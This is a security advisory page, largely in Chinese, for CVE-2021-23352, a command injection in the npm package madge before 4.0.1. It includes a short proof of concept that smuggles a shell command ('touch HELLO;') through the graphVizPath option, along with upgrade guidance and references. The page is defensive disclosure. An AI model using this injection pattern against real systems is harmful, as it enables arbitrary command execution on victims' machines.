CVE-2021-23352

描述

This affects the package madge before 4.0.1. It is possible to specify a custom Graphviz path via the graphVizPath option parameter which, when the .image(), .svg() or .dot() functions are called, is executed by the childprocess.exec function. ### PoC ```js const madge = require('madge'); madge('..', {graphVizPath: "touch HELLO;"}) .then((res) => res.svg()) .then((writtenImagePath) => { console.log('Image written to ' + writtenImagePath); }); ```

如何修補 CVE-2021-23352

要修補 CVE-2021-23352,請將受影響套件升級到下列已修補版本。

• npm/madge—升級至 4.0.1 或更新版本

CVE-2021-23352 正在被利用嗎?

低 — EPSS 為 0.6%,目前沒有觀察到大規模利用活動。

受影響套件(1)

• from 0, < 4.0.1

參考連結(4)

• ADVISORYnvd.nist.gov/vuln/detail/CVE-2021-23352
• WEBgithub.com/pahen/madge/blob/master/lib/graph.js#L27
• WEBgithub.com/pahen/madge/commit/da5cbc9ab30372d687fa7c324b22af7ffa5c6332
• WEBsnyk.io/vuln/SNYK-JS-MADGE-1082875